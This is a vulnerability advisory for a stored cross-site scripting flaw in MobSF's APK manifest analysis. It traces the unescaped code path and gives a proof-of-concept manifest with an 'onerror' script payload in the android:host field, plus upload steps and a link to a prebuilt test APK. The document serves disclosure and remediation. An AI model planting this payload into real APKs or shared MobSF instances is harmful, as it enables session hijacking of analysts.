---
id: CVE-2026-24490
aliases:
  - GHSA-8hf7-h89p-3pqj
  - PYSEC-2026-1668
title: MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field
summary: MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field
severity: high
cvss: 8.1
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N'
vendor: mobsf
product: mobsf
ecosystem: pip
affected:
  - mobsf < 4.4.5
patched:
  - mobsf 4.4.5
published: '2026-01-26'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-8hf7-h89p-3pqj'
references:
  - url: >-
      https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-24490'
  - url: >-
      https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae
  - url: 'https://github.com/MobSF/Mobile-Security-Framework-MobSF'
  - url: >-
      https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5
tags:
  - osv
  - pip
epss: 0.00323
epssPercentile: 0.25556
ingestedAt: '2026-07-08T18:25:47.507Z'
---

## Overview

### Summary
A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `<data android:scheme="android_secret_code">` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

### Details
When MobSF analyzes an Android APK containing a `<data>` element with `android:scheme="android_secret_code"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.

### Vulnerable Code Path

**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776):
```python
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
```

**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806):
```python
'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped
```

**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200):
```python
'dialer_code_found': {
    'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
    ...
}
```

**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143):
```html
{{item|key:"title" | safe}}
```

The `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.

### PoC

### Step 1: Create Malicious APK

Create an APK with the following `AndroidManifest.xml`:

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.xsstest"
    android:versionCode="1"
    android:versionName="1.0">

    <application android:label="XSS PoC Test">
        <receiver android:name=".SecretCodeReceiver" android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE"/>
                <data android:scheme="android_secret_code"
                      android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>
```

### Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

### Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

### Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

### Confirmed HTML Output

```html
<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>
```

### PoC APK Details

| Field | Value |
|-------|-------|
| **Filename** | `POC_XSS_APK.apk ` |
| **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` |
| **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

### Impact

This is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

### Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest
2. Attacker submits APK to a shared MobSF instance or  private mobsf instance. 
3. When any user views the analysis report, the XSS payload executes in their browser

<img width="1435" height="675" alt="Screenshot 2026-01-15 at 12 24 29 AM" src="https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052" />


Tested in MobSF Public Instance as well.
https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/ 


<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />

## Affected packages

- `mobsf < 4.4.5`

## Remediation

Upgrade to a patched release:

- `mobsf 4.4.5`